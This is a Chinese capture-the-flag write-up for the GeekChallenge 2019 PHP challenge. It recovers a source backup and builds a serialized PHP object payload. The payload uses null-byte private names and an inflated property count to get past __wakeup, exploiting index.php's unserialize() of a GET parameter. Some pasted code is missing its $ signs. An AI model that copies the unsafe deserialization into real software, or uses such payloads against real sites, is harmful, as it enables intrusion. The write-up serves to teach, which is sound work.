19,[极客大挑战 2019]PHP1

这个好玩

看到备份网站字眼,用dirsearch扫描

在kali里打开

爆破出一个www.zip文件

访问一下

解压后是这个页面

class.php

<?php

include 'flag.php';

error_reporting(0);

class Name{

private $username = 'nonono';

private $password = 'yesyes';

public function __construct(username,password){

this-\>username = username;

this-\>password = password;

}

function __wakeup(){

$this->username = 'guest';

}

function __destruct(){

if ($this->password != 100) {

echo "</br>NO!!!hacker!!!</br>";

echo "You name is: ";

echo $this->username;echo "</br>";

echo "You password is: ";

echo $this->password;echo "</br>";

die();

}

if ($this->username === 'admin') {

global $flag;

echo $flag;

}else{

echo "</br>hello my friend~~</br>sorry i can't give you the flag!";

die();

}

}

}

?>

username=admin

password=100

flag.php

<?php

$flag = 'Syc{dog_dog_dog_dog}';

?>

index.php

<!DOCTYPE html>

<head>

<meta charset="UTF-8">

<title>I have a cat!</title>

<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">

<link rel="stylesheet" href="style.css">

</head>

<style>

#login{

position: absolute;

top: 50%;

left:50%;

margin: -150px 0 0 -150px;

width: 300px;

height: 300px;

}

h4{

font-size: 2em;

margin: 0.67em 0;

}

</style>

<body>

<div id="world">

<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯

</div>

<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!

</div>

<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">

<?php
include 'class.php';
select = _GET['select'];
res=unserialize(@select);
?>

</div>

<div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>

</div>

<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>

<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>

<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>

<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>

<script src="index.js"></script>

</body>

</html>

index.php中有个注释

**include 'class.php';**提到了class.php

**select = _GET['select'];**定义了一个存放GET请求方法的变量select

**res=unserialize(@select);**将一个字符串反序列化为一个PHP变量

<?php

class Name{

private $username = 'admin';

private $password = '100';

}

$select = new Name();

res = serialize(@select);

echo $res

?>

运行得到反序列化代码

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

相关推荐
安全系统学习4 小时前
【网络安全】Mysql注入中锁机制
安全·web安全·网络安全·渗透测试·xss
IMPYLH6 小时前
Python 的内置函数 reversed
笔记·python
码荼8 小时前
学习开发之hashmap
java·python·学习·哈希算法·个人开发·小白学开发·不花钱不花时间crud
深圳安锐科技有限公司8 小时前
深圳安锐科技发布国内首款4G 索力仪!让斜拉桥索力自动化监测更精准高效
运维·安全·自动化·自动化监测·人工监测·桥梁监测·索力监测
潘锦8 小时前
海量「免费」的 OPENAI KEY,你敢用吗?
安全·openai
冰橙子id9 小时前
linux系统安全
linux·安全·系统安全
武昌库里写JAVA9 小时前
Oracle如何使用序列 Oracle序列使用教程
java·开发语言·spring boot·学习·课程设计
ysa0510309 小时前
数论基础知识和模板
数据结构·c++·笔记·算法
祁思妙想10 小时前
八股学习(三)---MySQL
数据库·学习·mysql
今天背单词了吗98010 小时前
算法学习笔记:7.Dijkstra 算法——从原理到实战,涵盖 LeetCode 与考研 408 例题
java·开发语言·数据结构·笔记·算法